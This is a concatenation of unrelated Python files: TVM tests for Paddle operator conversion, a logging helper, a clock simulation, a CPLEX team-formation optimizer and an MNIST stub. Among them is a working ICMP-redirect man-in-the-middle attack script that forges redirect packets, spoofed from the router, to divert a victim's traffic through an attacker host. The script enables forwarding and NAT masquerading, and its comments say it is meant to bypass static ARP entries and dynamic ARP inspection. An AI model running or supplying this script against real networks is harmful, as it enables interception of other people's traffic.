        return paddle.expand(inputs, shape=shape)

    x_shape = [3]
    x_data = paddle.rand(x_shape, dtype="float32")
    verify_model(expand1, input_data=[x_data])
    shape = paddle.to_tensor(np.array([2, 3]).astype("int32"))
    verify_model(expand2, [x_data, shape], input_shape=[[3], [2]])

@tvm.testing.uses_gpu
def test_forward_expand_as():
    @paddle.jit.to_static
    def expand_as(x, y):
        z = paddle.expand_as(x, y)
        z += y
        return z

    data_x = paddle.to_tensor([1, 2, 3], dtype="int32")
    data_y = paddle.to_tensor([[1, 2, 3], [4, 5, 6]], dtype="float32")
    verify_model(expand_as, [data_x, data_y])

@tvm.testing.uses_gpu
def test_forward_ones():
    @paddle.jit.to_static
    def ones1(inputs):
        ones = paddle.ones([1, 3, 10, 10])
        out = inputs + ones
        return out

    @paddle.jit.to_static
    def ones2(inputs):
        shape = paddle.to_tensor([1, 3, 10, 10], dtype="int32")
        ones = paddle.ones(shape)
        out = inputs + ones
        return out

    input_shape = [1, 3, 10, 10]
    input_data = paddle.rand(input_shape, dtype="float32")
    verify_model(ones1, input_data=input_data)
    verify_model(ones2, input_data=input_data)

def test_forward_elemwise():
    class ElemwiseOp(nn.Layer):
        def __init__(self, op_name):
            super(ElemwiseOp, self).__init__()
            self.op_name_ = op_name
            for candidate in (paddle, paddle.nn.functional):
                self.func = getattr(candidate, op_name, None)
                if self.func:
                    break

        @paddle.jit.to_static
        def forward(self, input1, input2):
            y = self.func(input1, input2)
            if "equal" in self.op_name_ or "than" in self.op_name_:
                y = paddle.cast(y, "int32")
            return y

    op_list = [
        "floor_divide",
        "floor_mod",
        "maximum",
        "minimum",
        "equal",
        "greater_equal",
        "greater_than",
        "less_equal",
        "less_than",
        "not_equal",
    ]
    input_shape = [10, 10]
    input_shape_2 = [
        10,
    ]
    x_data = paddle.rand(input_shape, dtype="float32")
    y_data = paddle.rand(input_shape_2, dtype="float32")
    x_data_2 = paddle.randint(1, 100, input_shape_2, dtype="int32")
    y_data_2 = paddle.randint(1, 100, input_shape, dtype="int32")
    for op_name in op_list:
        if op_name not in ["floor_divide"]:
            verify_model(ElemwiseOp(op_name), [x_data, y_data])
        verify_model(ElemwiseOp(op_name), [x_data_2, y_data_2])

@tvm.testing.uses_gpu
def test_forward_gelu():
    @paddle.jit.to_static
    def gelu(inputs):
        return nn.functional.gelu(inputs)

    input_shape = [1, 3, 10, 10]
    input_data = paddle.rand(input_shape, dtype="float32")
    verify_model(gelu, input_data=input_data)

@tvm.testing.uses_gpu
def test_forward_activation():
    class Activation(nn.Layer):
        def __init__(self, op_name):
            super(Activation, self).__init__()
            self.op_name_ = op_name
            for candidate in (paddle.nn.functional, paddle):
                self.func = getattr(candidate, op_name, None)
                if self.func:
                    break

        @paddle.jit.to_static
        def forward(self, inputs):
            return self.func(inputs)

    input_shape = [1, 3, 10, 10]
    input_data = paddle.normal(shape=input_shape) * 10.0
    input_data_2 = paddle.normal(shape=input_shape).astype("float64") * 10.0
    op_list = [
        "elu",
        "hardshrink",
        "hardsigmoid",
        "hardswish",
        "hardtanh",
        "log_sigmoid",
        "log_softmax",
        "selu",
        "sigmoid",
        "softsign",
    ]
    for op_name in op_list:
        verify_model(Activation(op_name), input_data=input_data)
        verify_model(Activation(op_name), input_data=input_data_2)

@tvm.testing.uses_gpu
def test_forward_isfinite():
    @paddle.jit.to_static
    def isfinite(inputs):
        return paddle.cast(paddle.isfinite(inputs), "int32")

    input_shape = [5, 5]
    input_data = paddle.rand(input_shape, dtype="float32")
    verify_model(isfinite, input_data=input_data)

@tvm.testing.uses_gpu
def test_forward_isinf():
    @paddle.jit.to_static
    def isinf(inputs):
        return paddle.cast(paddle.isinf(inputs), "int32")

    input_shape = [5, 5]
    input_data = paddle.rand(input_shape, dtype="float32")
    verify_model(isinf, input_data=input_data)

@tvm.testing.uses_gpu
def test_forward_isnan():
    @paddle.jit.to_static
    def isnan(inputs):
        return paddle.cast(paddle.isnan(inputs), "int32")

    input_shape = [5, 5]
    input_data = paddle.rand(input_shape, dtype="float32")
    verify_model(isnan, input_data=input_data)

@tvm.testing.uses_gpu
def test_forward_layer_norm():
    @paddle.jit.to_static
    def layer_norm(inputs, weight, bias):
        return nn.functional.layer_norm(inputs, inputs.shape[-1], weight=weight, bias=bias)

    class LayerNorm(nn.Layer):
        def __init__(self):
            super(LayerNorm, self).__init__()
            data_shape = [10]
            self.layer_norm = nn.LayerNorm(data_shape)

        @paddle.jit.to_static
        def forward(self, inputs):
            return self.layer_norm(inputs)

    input_shape = [1, 3, 10, 10]
    input_data = paddle.rand(input_shape, dtype="float32")
    weight = paddle.rand([10], dtype="float32")
    bias = paddle.rand([10], dtype="float32")
    verify_model(layer_norm, input_data=[input_data, weight, bias])
    verify_model(LayerNorm(), input_data=input_data)

@tvm.testing.uses_gpu
def test_forward_leaky_relu():
    @paddle.jit.to_static
    def leaky_relu(inputs):
        return nn.functional.leaky_relu(inputs)

    input_shape = [1, 3, 10, 10]
    input_data = paddle.rand(input_shape, dtype="float32")
    verify_model(leaky_relu, input_data=input_data)

@tvm.testing.uses_gpu
def test_forward_logical_op():
    class LogicalOp(nn.Layer):
        def __init__(self, op_name, out=False):
            super(LogicalOp, self).__init__()
            self.out = out
            for candidate in (paddle, paddle.nn.functional):
                self.func = getattr(candidate, op_name, None)
                if self.func:
                    break

        @paddle.jit.to_static
        def forward(self, x, y):
            if self.out:
                out = paddle.to_tensor([True, True, True])
                z = self.func(x, y, out=out)
            else:
                z = self.func(x, y)
            return paddle.cast(z, "int32")

    class LogicalOp_not(LogicalOp):
        @paddle.jit.to_static
        def forward(self, x):
            if self.out:
                out = paddle.to_tensor([True, True, True])
                z = self.func(x, out=out)
            else:
                z = self.func(x)
            return paddle.cast(z, "int32")

    op_list = [
        "logical_or",
        "logical_xor",
        "logical_and",
    ]
    x = paddle.to_tensor([True])
    y = paddle.to_tensor([True, False, True, False])
    for op_name in op_list:
        verify_model(LogicalOp(op_name, False), [x, y])
        verify_model(LogicalOp(op_name, True), [x, y])
    verify_model(LogicalOp_not("logical_not", False), [y])
    verify_model(LogicalOp_not("logical_not", True), [y])

@tvm.testing.uses_gpu
def test_forward_multiply():
    @paddle.jit.to_static
    def multiply1(inputs):
        return inputs * inputs

    @paddle.jit.to_static
    def multiply2(inputs):
        return inputs * 1.0 / 2.0

    @paddle.jit.to_static
    def multiply3(inputs, inputs2):
        ones = paddle.ones([10], dtype="float32")
        return inputs * ones / inputs2

    input_shape = [10]
    input_data = paddle.rand(input_shape, dtype="float32")
    verify_model(multiply1, input_data=input_data)
    verify_model(multiply2, input_data=input_data)
    input_data2 = paddle.rand(input_shape, dtype="float32")
    verify_model(multiply3, input_data=[input_data, input_data2])

@tvm.testing.uses_gpu
def test_forward_matmul():
    class MatMul1(nn.Layer):
        def forward(self, input1, input2):
            return paddle.matmul(input1, input2)

    # matrix x vector
    input_data1 = paddle.randn((3, 4), dtype="float32")
    input_data2 = paddle.randn((4,), dtype="float32")
    verify_model(MatMul1(), input_data=[input_data1, input_data2])

    # matrix x matrix
    input_data1 = paddle.randn((5, 4), dtype="float32")
    input_data2 = paddle.randn((4, 5), dtype="float32")
    verify_model(MatMul1(), input_data=[input_data1, input_data2])

    # batched matrix x batched matrix
    input_data1 = paddle.randn((10, 3, 4), dtype="float32")
    input_data2 = paddle.randn((10, 4, 5), dtype="float32")
    verify_model(MatMul1(), input_data=[input_data1, input_data2])

    # batched matrix x broadcasted matrix
    input_data1 = paddle.randn((10, 3, 4), dtype="float32")
    input_data2 = paddle.randn((4, 5), dtype="float32")
    verify_model(MatMul1(), input_data=[input_data1, input_data2])

@tvm.testing.uses_gpu
def test_forward_meshgrid():
    @paddle.jit.to_static
    def t(x, y, z):
        return paddle.meshgrid(x, y, z)

    x = paddle.randint(low=0, high=100, shape=[2])
    y = paddle.randint(low=0, high=100, shape=[3])
    z = paddle.randint(low=0, high=100, shape=[5])
    verify_model(t, [x, y, z])

def test_forward_mm():
    class Mm(nn.Layer):
        def forward(self, input1, input2):
            return paddle.mm(input1, input2)

    # matrix x vector
    input_data1 = paddle.randn((3, 4), dtype="float32")
    input_data2 = paddle.randn((4,), dtype="float32")
    verify_model(Mm(), input_data=[input_data1, input_data2])

    # matrix x matrix
    input_data1 = paddle.randn((5, 4), dtype="float32")
    input_data2 = paddle.randn((4, 5), dtype="float32")
    verify_model(Mm(), input_data=[input_data1, input_data2])

    # batched matrix x batched matrix
    input_data1 = paddle.randn((10, 3, 4), dtype="float32")
    input_data2 = paddle.randn((10, 4, 5), dtype="float32")
    verify_model(Mm(), input_data=[input_data1, input_data2])

    # batched matrix x broadcasted matrix
    input_data1 = paddle.randn((10, 3, 4), dtype="float32")
    input_data2 = paddle.randn((4, 5), dtype="float32")
    verify_model(Mm(), input_data=[input_data1, input_data2])

@tvm.testing.uses_gpu
def test_forward_mv():
    class Mv(nn.Layer):
        def forward(self, input1, input2):
            return paddle.mv(input1, input2)

    # matrix x vector
    input_data1 = paddle.randn((3, 4), dtype="float32")
    input_data2 = paddle.randn((4,), dtype="float32")
    verify_model(Mv(), input_data=[input_data1, input_data2])

@tvm.testing.uses_gpu
def test_forward_pool2d():
    @paddle.jit.to_static
    def pool2d1(inputs):
        return nn.functional.avg_pool2d(inputs, kernel_size=2, stride=2, padding=0)

    @paddle.jit.to_static
    def pool2d2(inputs):
        return nn.functional.adaptive_avg_pool2d(inputs, output_size=[3, 3])

    @paddle.jit.to_static
    def pool2d3(inputs):
        output = nn.functional.max_pool2d(inputs, kernel_size=2, stride=2, padding=0)
        return output

    @paddle.jit.to_static
    def pool2d4(inputs):
        output, max_indices = nn.functional.max_pool2d(
            inputs, kernel_size=2, stride=2, padding=0, return_mask=True
        )
        return output

    input_data = paddle.uniform(shape=[1, 2, 32, 32], dtype="float32", min=-1, max=1)
    verify_model(pool2d1, input_data, input_shape=[[-1, 2, 32, 32]])
    verify_model(pool2d2, input_data=input_data)
    input_data1 = paddle.uniform(shape=[1, 2, 1, 50], dtype="float32", min=-1, max=1)
    verify_model(pool2d3, input_data=input_data1)

@tvm.testing.uses_gpu
def test_forward_rank():
    class Rank(nn.Layer):
        @paddle.jit.to_static
        def forward(self, inputs):
            rank = paddle.rank(inputs)
            rank = paddle.unsqueeze(rank, axis=0)
            output = inputs + rank
            return output

    input_shape = [1, 2, 1, 3, 1]
    input_data = paddle.rand(input_shape, dtype="float32")
    verify_model(Rank(), input_data=input_data)

@tvm.testing.uses_gpu
def test_forward_reshape():
    @paddle.jit.to_static
    def reshape1(inputs, new_shape):
        return paddle.reshape(inputs, new_shape)

    @paddle.jit.to_static
    def reshape2(inputs):
        return inputs.reshape([-1])

    @paddle.jit.to_static
    def reshape3(inputs):
        data_shape = inputs.shape
        return inputs.reshape([data_shape[1], data_shape[2], data_shape[0]])

    @paddle.jit.to_static
    def reshape4(inputs, x):
        new_shape = paddle.shape(x)
        return paddle.reshape(inputs, [new_shape[2], 2, -1])

    input_shape = [2, 1, 10, 1, 10]
    input_data = paddle.rand(input_shape, dtype="float32")
    input_data2 = paddle.randn([2, 1, 10, 10])
    new_shape = paddle.shape(input_data2)
    verify_model(reshape1, [input_data, new_shape], input_shape=[[2, 1, 10, 1, 10], [4]])
    verify_model(reshape2, input_data=input_data)
    verify_model(reshape3, input_data=paddle.randn((2, 3, 4)))
    verify_model(reshape4, input_data=[input_data, input_data2])

@tvm.testing.uses_gpu
def test_forward_scale():
    @paddle.jit.to_static
    def scale1(inputs):
        return paddle.scale(inputs, scale=2.0, bias=1.0)

    @paddle.jit.to_static
    def scale2(inputs):
        return paddle.scale(inputs, scale=3, bias=2.1, act="gelu")

    input_data = paddle.randn(shape=[2, 3], dtype="float32")
    verify_model(
        scale1,
        input_data=[
            input_data,
        ],
    )
    verify_model(scale2, input_data=input_data)

@tvm.testing.uses_gpu
def test_forward_scatter():
    @paddle.jit.to_static
    def scatter(x, index, updates):
        return paddle.scatter(x, index, updates, overwrite=True)

    @paddle.jit.to_static
    def scatter2(x, index, updates):
        return paddle.scatter(x, index, updates, overwrite=False)

    x = paddle.rand([10, 8, 5], dtype="float32")
    index = paddle.to_tensor(
        [
            2,
            1,
            0,
            6,
        ]
    )
    updates = paddle.rand([4, 8, 5], dtype="float32")
    verify_model(scatter, [x, index, updates], input_shape=[[-1, 8, 5], [4], [4, 8, 5]])
    verify_model(scatter2, [x, index, updates])

def test_forward_scatter_nd():
    @paddle.jit.to_static
    def scatter_nd(index, updates):
        shape = [3, 5, 9, 10]
        return paddle.scatter_nd(index, updates, shape)

    @paddle.jit.to_static
    def scatter_nd_add(x, index, updates):
        return paddle.scatter_nd_add(x, index, updates)

    index_data = np.array([[1, 1], [0, 1], [1, 3]]).astype(np.int64)
    index = paddle.to_tensor(index_data)
    updates = paddle.rand(shape=[3, 9, 10], dtype="float32")
    verify_model(scatter_nd, [index, updates])
    x = paddle.rand(shape=[3, 5, 4, 9, 10], dtype="float32")
    updates = paddle.rand(shape=[3, 2, 9, 10], dtype="float32")
    index = paddle.randint(0, 3, shape=[3, 2, 3])
    verify_model(scatter_nd_add, [x, index, updates])

@tvm.testing.uses_gpu
def test_forward_slice():
    @paddle.jit.to_static
    def slice1(inputs, end):
        return inputs[:, :, :, :end]

    @paddle.jit.to_static
    def slice2(inputs):
        return inputs[0, :, :-3, :]

    @paddle.jit.to_static
    def slice3(inputs):
        return inputs[0::2, 0::2] + inputs[1::2, 1::2]

    @paddle.jit.to_static
    def slice4(inputs):
        x0 = paddle.to_tensor([2]) - paddle.to_tensor([1])
        x1 = paddle.to_tensor([3]) + paddle.to_tensor([1])
        return inputs[:, x0:, 1:x1, :]

    @paddle.jit.to_static
    def slice5(inputs):
        x0 = paddle.to_tensor([3])
        return inputs[:, 1::1, 2::x0, 4:10]

    input_shape = [1, 3, 10, 10]
    input_data = paddle.rand(input_shape, dtype="float32")
    end = paddle.to_tensor(np.array([3]))
    verify_model(slice1, [input_data, end], input_shape=[[1, 3, 10, 10], [1]])
    verify_model(slice2, input_data=input_data)
    verify_model(slice3, input_data=paddle.randn((4, 4)))
    verify_model(slice4, input_data=input_data)
    verify_model(slice5, input_data=input_data)

@tvm.testing.uses_gpu
def test_forward_sort():
    @paddle.jit.to_static
    def sort(inputs):
        return paddle.sort(inputs)

    @paddle.jit.to_static
    def sort2(inputs):
        return paddle.sort(inputs, axis=0, descending=True)

    input_shape = [2, 3, 5]
    input_data = paddle.rand(input_shape, dtype="float32")
    verify_model(sort, input_data)
    input_data2 = np.random.randint(100, size=input_shape)
    verify_model(sort2, input_data2)

@tvm.testing.uses_gpu
def test_forward_subtract():
    class Subtract(nn.Layer):
        @paddle.jit.to_static
        def forward(self, x, y):
            return paddle.subtract(x, y)

    input_data1 = paddle.to_tensor([2, np.nan, 5], dtype="float32")
    input_data2 = paddle.to_tensor([1, 4, np.nan], dtype="float32")
    verify_model(Subtract(), input_data=[input_data1, input_data2])

    input_data1 = paddle.randint(0, 10, (3, 4), dtype="int32")
    input_data2 = paddle.randint(0, 10, (4,), dtype="int32")
    verify_model(Subtract(), input_data=[input_data1, input_data2])

    input_data1 = paddle.randint(0, 10, (10, 3, 4), dtype="int64")
    input_data2 = paddle.randint(0, 10, (3, 4), dtype="int64")
    verify_model(Subtract(), input_data=[input_data1, input_data2])

if __name__ == "__main__":
    test_forward_add_subtract()
    test_forward_addmm()
    test_forward_argmax()
    test_forward_argmin()
    test_forward_argsort()
    test_forward_assign()
    test_forward_batch_norm()
    test_forward_cast()
    test_forward_clip()
    test_forward_concat_unsqueeze()
    test_forward_conv()
    test_forward_crop()
    test_forward_cumsum()
    test_forward_dist()
    test_forward_dot()
    test_forward_dropout()
    test_forward_elemwise()
    test_forward_expand()
    test_forward_expand_as()
    test_forward_ones()
    test_forward_gelu()
    test_forward_math()
    test_forward_activation()
    test_forward_isinf()
    test_forward_layer_norm()
    test_forward_leaky_relu()
    test_forward_logical_op()
    test_forward_lstm()
    test_forward_gru()
    test_forward_matmul()
    test_forward_meshgrid()
    test_forward_mm()
    test_forward_mv()
    test_forward_multiply()
    test_forward_pool2d()
    test_forward_rank()
    test_forward_reshape()
    test_forward_scale()
    test_forward_scatter()
    test_forward_scatter_nd()
    test_forward_slice()
    test_forward_sort()
    test_forward_subtract()
    test_forward_math()


import logging
import time
import subprocess
from logging.handlers import TimedRotatingFileHandler
from os import path

def get_logger():
    if not path.exists('/var/log/cluster-creation/'):
        cmd='mkdir -p /var/log/cluster-creation/'
        ret = subprocess.call(cmd.split())

    formatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s', datefmt='%Y-%m-%d %H:%M:%S')
    logger = logging.getLogger("cluster-creation")
    logger.setLevel(logging.INFO)
    handler = TimedRotatingFileHandler("/var/log/cluster-creation/" + 'cluster.log',when="d",interval=1,backupCount=20)
    handler.setFormatter(formatter)
    logger.addHandler(logging.StreamHandler())
    logger.addHandler(handler)
    logger.info('***********Cluster Creation Starts ********************')
    return logger


# clock - checking clock source
#

from pydlcs import *

sim = SIMU('simu', plots =1, debug =1, pclk = 1, pannotate =1)

C = Clock('C', skip = 2)
I = Istream('I', fname = 'inp', stream = 1)
O = Ostream ('O', stream = 1)

sim.clk_out.connect([I.clk_in, C.clk_in,  O.clk_in])
C.clk_out.connect([O.data_in])

sim.addplot([O.data])
sim.addpname(["out"])

sim.start = 1
sim.simulate()


from __future__ import print_function

import sys

import cplex
from cplex.exceptions import CplexError
import numpy as np
import random
import itertools
import pandas as pd
# np.random.seed = 10

import heapq
import seaborn as sns; sns.set()
import matplotlib.pyplot as plt

def getopts(argv):
    opts = {}  # Empty dictionary to store key-value pairs.
    while argv:  # While there are arguments left to parse...
        if argv[0][0] == '-':  # Found a "-name value" pair.
            opts[argv[0]] = argv[1]  # Add key and value to the dictionary.
        argv = argv[1:]  # Reduce the argument list by copying it starting from index 1.
    return opts

from sys import argv
myargs = getopts(argv)
## -t is time limit, -p is p, -Q is number of people, -s is store values and make graphs

TIMELIMIT = int(myargs["-t"])
p = int(myargs["-p"])
Q = int(myargs["-Q"])# number of people per desired team
s = int(myargs["-s"])
W_slack = int(myargs["-slack"])
# k = int(myargs["-k"])
filename = str(myargs["-input"])
print(TIMELIMIT, p, Q)

data = pd.read_csv(filename, header = 0)
V = data.values
M = V.shape[0]
N = V.shape[1] - 1
print("Total Number of Participants:", N)

W_s = N
K_s = int(np.floor(N/Q))
W_reg = W_s - W_slack
Q_reg = int(np.floor(W_reg/K_s))
Q_slack = int(np.floor(W_slack/K_s))
## minimum number of teams assigned to a skill
b = int(np.floor(K_s/M))

print("Number of People: ", W_s)
print("Number of Teams: ", K_s)
print("Number of Skills: ", M)

### TODO randomly order the data, and mark participant's ID's, so that the output knows which person is which

# first column is the participant's ID
V = V[:, 1:]

# normalize the data if we are using real data, but in simulation, the standard deviation is already determined
# for j in range(M):
# 	V[j] = (V[j]- np.mean(V[j]))/np.std(V[j])
# 	print(np.mean(V[j]))
# 	print(np.std(V[j]))

G_js = [sum(heapq.nlargest(Q + 1, V[i])) for i in range(M)]
G = max(G_js)

print("G", G)
my_obj = np.array([1.0]*(K_s * M) + [0.0] * (K_s * M + W_s * K_s))
my_obj = my_obj.flatten()
num_vars = 2* K_s * M  + W_s * K_s
my_ub = [G] * (K_s * M) + [1.0] * (K_s * M + W_s * K_s)
my_lb = [-cplex.infinity] * num_vars
# print("Number of Variables: ", num_vars)
assert(len(my_ub) == len(my_obj))

# G = Q

my_ctype = "C" * (K_s * M) + "B" * (K_s * M + W_s * K_s)
# NOTE: in the nonzero populate function we don't need the column or row name
## TODO RHS
my_rhs = [0] * (2 * K_s * M ) + [p]* K_s + [1] * W_s + [-Q_reg] * K_s \
        + [Q_reg + 1] * K_s + [-b] * (M) + [-Q_slack] * K_s + [Q_slack + 1] * K_s
my_sense = "L" * (2 * K_s * M) + "L" *  (K_s) + "E" * (W_s) + "L" * (K_s * 4 + M)
flatten = lambda l: [item for sublist in l for item in sublist]
assert(len(my_rhs) == len(my_sense))
# print(len(my_sense))

def printshape(l):
    print(np.array(l).shape)

def populatebynonzero(prob):
    prob.objective.set_sense(prob.objective.sense.maximize)

    prob.linear_constraints.add(rhs=my_rhs, senses=my_sense)
    prob.variables.add(obj=my_obj, lb=my_lb, ub=my_ub, types=my_ctype)
    # prob.variables.add(obj=my_obj,  ub=my_ub, types=my_ctype)

    rows1 = [[i] * (2) for i in range(K_s * M)]
    rows2 = [[[K_s * M + k*M + j] * (1 + W_s) for j in range(M)] for k in range(K_s)]
    rows2 = flatten(rows2)
    rows3 = [[K_s * M * 2 + rownum]  * (M) for rownum in range(K_s)]
    rows4 = [[K_s * M * 2 + K_s + rownum] * (K_s) for rownum in range(W_s)]
    rows5 = [[K_s * M * 2 + K_s + W_s + rownum] * (W_reg) for rownum in range(K_s)]
    ## no team too big
    rows6 = [[K_s * M * 2 + K_s + W_s + K_s + rownum] * (W_reg) for rownum in range(K_s)]
    # b constraint
    rows7 = [[K_s * M * 2 + K_s + W_s + 2 * K_s + rownum] * (K_s) for rownum in range(M)]

    rows8 = [[K_s * M * 2 + K_s + W_s + 2 * K_s  + M + rownum] * (W_slack) for rownum in range(K_s)]
    rows9 = [[K_s * M * 2 + K_s + W_s + 2 * K_s  + M + K_s + rownum] * (W_slack) for rownum in range(K_s)]

    rows = [rows1, rows2, rows3, rows4, rows5, rows6, rows7, rows8, rows9]
    # print("ROWSSHAPE")
    # for r in rows:
    #     printshape(r)

    rows = flatten(flatten(rows))

    cols1 = [[[k * M + j, k * M + j + K_s * M] for j in range(M)] for k in range(K_s)]
    cols1 = flatten(cols1)
    cols2 = [[[k * M + j] + [K_s * M * 2 + k * W_s + i for i in range(W_s)] for j in range(M)] for k in range(K_s)]
    cols2 = flatten(cols2)
    cols3 = [[K_s * M + k * M + j for j in range(M)] for k in range(K_s)]
    cols4 = [[K_s * M  * 2 + k * W_s + i for k in range(K_s)] for i in range(W_s)]
    cols5 = [[K_s * M  * 2 + k * W_s + i for i in range(W_reg)] for k in range(K_s)]
    cols6 = [[K_s * M  * 2 + k * W_s + i for i in range(W_reg)] for k in range(K_s)]
    cols7 = [[K_s * M + k * M + j for k in range(K_s)] for j in range(M)]

    cols8 = [[K_s * M  * 2 + k * W_s + i for i in range(W_reg, W_reg + W_slack)] for k in range(K_s)]
    cols9 = [[K_s * M  * 2 + k * W_s + i for i in range(W_reg, W_reg + W_slack)] for k in range(K_s)]

    cols = [cols1, cols2, cols3, cols4, cols5, cols6, cols7, cols8, cols9]
    # print("COLSHAPES")
    # for c in cols:
    #     printshape(c)
    cols = flatten(flatten(cols))

    assert(len(cols) == len(rows))

    rowcol = list(zip(rows,cols))
    # print("VALSHAPES")
    vals1 = [1.0, -G] * (M * K_s)
    # printshape(vals1)
    temp = [[[1.0] + [-V[j][i] for i in range(W_s)] for j in range(M)] for k in range(K_s)]
    vals2 = flatten(flatten(temp))
    # printshape(vals2)
    vals3 = [1.0] * (K_s * M + K_s * W_s) + [-1.0] * (K_s * W_reg) + [1.0] * (K_s * W_reg) + [-1.0] * (K_s * M + K_s * W_slack) \
        + [1.0] * (K_s * W_slack)
    vals = flatten([vals1,vals2, vals3])
    assert(len(vals) == len(rows))
    # print(list(zip(rows, cols, vals)))
    prob.linear_constraints.set_coefficients(zip(rows, cols, vals))

my_prob = cplex.Cplex()
handle = populatebynonzero(my_prob)

my_prob.parameters.timelimit.set(TIMELIMIT)
my_prob.solve()

print("Solution status = ", my_prob.solution.get_status(), ":", end=' ')
# the following line prints the corresponding string
print(my_prob.solution.status[my_prob.solution.get_status()])
print("Objective value  = ", my_prob.solution.get_objective_value())

numcols = my_prob.variables.get_num()
# print("Number of Variables", numcols)
numrows = my_prob.linear_constraints.get_num()

slack = my_prob.solution.get_linear_slacks()
x = my_prob.solution.get_values()

## s is whether to store values or not
# if s == 1:
#     ### -slack + G is the team value, nonzero value is the skill that is assigned to that team
#     team_values = np.array(slack[:K_s * M])
#     team_values = team_values.reshape(K_s, M)
#     # print([(idx,x) for idx, x in enumerate(team_values)])
#     team_values_out = [[idx, -sum(team) + G, np.nonzero(team)[0]] for idx, team in enumerate(team_values)]

#     df_team_values = pd.DataFrame(team_values_out, columns = ["Team Number", "Skill Total", "Skill Number"])
#     df_team_values.to_csv(str(filename) + "NewSpecTeamValues" + str(N) + ".csv")

if s == 1:
    team_assigns = x[K_s * M * 2:]
    team_assigns = np.array(team_assigns)
    team_assigns = team_assigns.reshape(K_s, W_s)

if s ==1:
    nonzeros = []
    for i in range(K_s):
        for j in range(W_s):
            if team_assigns[i,j] >= 0.5:
                nonzeros.append([i,j])
    assert(len(nonzeros) == W_s)
    a = [b[1] for b in nonzeros]
    assert(len(set(a)) == len(nonzeros))

if s ==1:
    df_team_assigns = pd.DataFrame(nonzeros, columns = ["Team Number", "User ID"])
    ## NOTE THAT all indices must add # of diverse participants
    df_team_assigns.to_csv(str(filename) + "NewSpecAssignments" + str(N) + ".csv")

    ## dictionary of team assignments
    team_assigns_dict = {}
    for k,i in nonzeros:
        if k in team_assigns_dict:
            team_assigns_dict[k].append(i)
        else:
            team_assigns_dict[k] = [i]

    XKJ = x[K_s * M: 2 * K_s * M]
    XKJ = np.array(XKJ).reshape(K_s, M)

    team_skills = []
    for k,team in enumerate(XKJ):
        for j,skill in enumerate(team):
            if skill == 1:
                team_skills.append([k,j])
    df_team_skills = pd.DataFrame(team_skills, columns = ["Team Number", "Skill Number"])
    df_team_skills.to_csv(str(filename) + "NewSpecTeamSkills" + str(N) + ".csv")

if s ==1:
    # credited skills
    for team_id in range(K_s):
        matrices = []
        for k,team in enumerate(XKJ):
            team_members = team_assigns_dict[k]
            matrix = []
            for j, skill in enumerate(team):
                matrix.append([(V[j,i] if skill == 1 else 0) for i in team_members])
            matrices.append(matrix)
        ax = sns.heatmap(matrices[team_id], annot = True)
        plt.ylabel("Skills")
        title = "A" + str(filename) + str(W_s) +"Specialized_Selected" + str(team_id) + "p=" + str(p) + ".png"
        plt.title(title)
        plt.savefig(title)
        plt.clf()

if s == 1:
    for team_id in range(K_s):
        # all skills
        matrices_all = []
        for k,team in enumerate(XKJ):
            team_members = team_assigns_dict[k]
            matrix = []
            for j, skill in enumerate(team):
                matrix.append([(V[j,i]) for i in team_members])
            matrices_all.append(matrix)
        ax = sns.heatmap(matrices_all[team_id], annot = True)
        plt.ylabel("Skills")
        title = "A" + str(filename) + str(W_s) + "Specialized_All" + str(team_id) + "p=" + str(p) + ".png"
        plt.title(title)
        plt.savefig(title)
        plt.clf()

    ##### Save as pkl then read in the other file!! :)


# MitM against:
#  - static ARP entries
#  - Dynamic ARP inspection

#Usage: python icmp.py -p DPORT -r ROUTERaddr -a ATTACKERaddr -t VICTIMaddr -s SERVERaddr -S IPTABLE SUBNET ex.192.168.0.0 -M SUBNET MASK ex.255.255.255.0 -i interface

import argparse
import random
from ipaddress import ip_address
from optparse import OptionParser
from scapy.all import IP,TCP,ICMP,send
from time import sleep
from signal import signal, SIGINT
from subprocess import call

ip_forwarding = 0
with open("/proc/sys/net/ipv4/ip_forward") as f:
	for line in f:
		ip_forwarding = int(line[0])

def check_SIGINT(signal, frame):
	print("Interrupt keyboard received")
	if not ip_forwarding:
		print("Disabling IP forwarding...")
		call("echo 0 > /proc/sys/net/ipv4/ip_forward", shell=True)
	print("Deleting rule...")
	call("iptables -t nat -D POSTROUTING -s {}/{} -o {} -j MASQUERADE".format(options.subnet, options.mask, options.interface), shell=True)
	exit()
signal(SIGINT, check_SIGINT)

parser = OptionParser()
parser.add_option("-p", "--destination-port", dest="dport")
parser.add_option("-r", "--router", dest="router")
parser.add_option("-a", "--attacker", dest="attacker")
parser.add_option("-t", "--target", dest="target")
parser.add_option("-s", "--server", dest="server")
parser.add_option("-S", "--subnet", dest="subnet")
parser.add_option("-M", "--mask", dest="mask")
parser.add_option("-i", "--interface", dest="interface")

(options, args) = parser.parse_args()
for x,y in options.__dict__.items():
	if not y:
		print("Missing {}.".format(x.upper()))
		parser.print_help()
		exit()
	if x != "dport" and x != "interface":
		try:
			ip_address(y)
		except Exception as e:
			print(e)
			exit()
if options.dport.isdigit():
	options.dport = int(options.dport)
	if not (0 <= options.dport <= 65535):
		print("{} is not a valid port number.".format(options.dport))
		exit()
else:
	print("{} is not a valid port number.".format(options.dport))
	exit()

if not ip_forwarding:
	print("Enabling IP forwarding...")
	if call("echo 1 > /proc/sys/net/ipv4/ip_forward", shell=True):
		exit()
print("Setting postrouting...")
if call("iptables -t nat -A POSTROUTING -s {}/{} -o {} -j MASQUERADE".format(options.subnet, options.mask, options.interface), shell=True):
	exit()

# Creating and sending ICMP redirect packets between these entities:
originalRouterIP = options.router
attackerIP = options.attacker
victimIP = options.target
serverIP = options.server

# Here we create an ICMP Redirect packet
ip = IP()
ip.src = originalRouterIP
ip.dst = victimIP
icmpRedirect = ICMP()
icmpRedirect.type = 5
icmpRedirect.code = 1
icmpRedirect.gw = attackerIP

# The ICMP packet payload /should/ :) contain the original TCP SYN packet
# sent from the victimIP
redirPayloadIP = IP()
redirPayloadIP.src = victimIP
redirPayloadIP.dst = serverIP
fakeOriginalTCPSYN = TCP()
fakeOriginalTCPSYN.flags = "S"
fakeOriginalTCPSYN.dport = int(options.dport)
fakeOriginalTCPSYN.seq = random.randrange(444444444, 555555555) # random value
fakeOriginalTCPSYN.sport = random.randrange(40000,65535) # random port above 40000

# Release the Kraken!
print("Sending packets...")
send(ip/icmpRedirect/redirPayloadIP/fakeOriginalTCPSYN, inter=1, loop=1)


from torch.utils.data import DataLoader
from module.learner import Learner
from module.load_and_split_mnist_dataset import load_and_split_mnist_dataset

if __name__ == "__main__":
    use_cuda = False
    kwargs = {'num_workers': 1, 'pin_memory': True} if use_cuda else {}

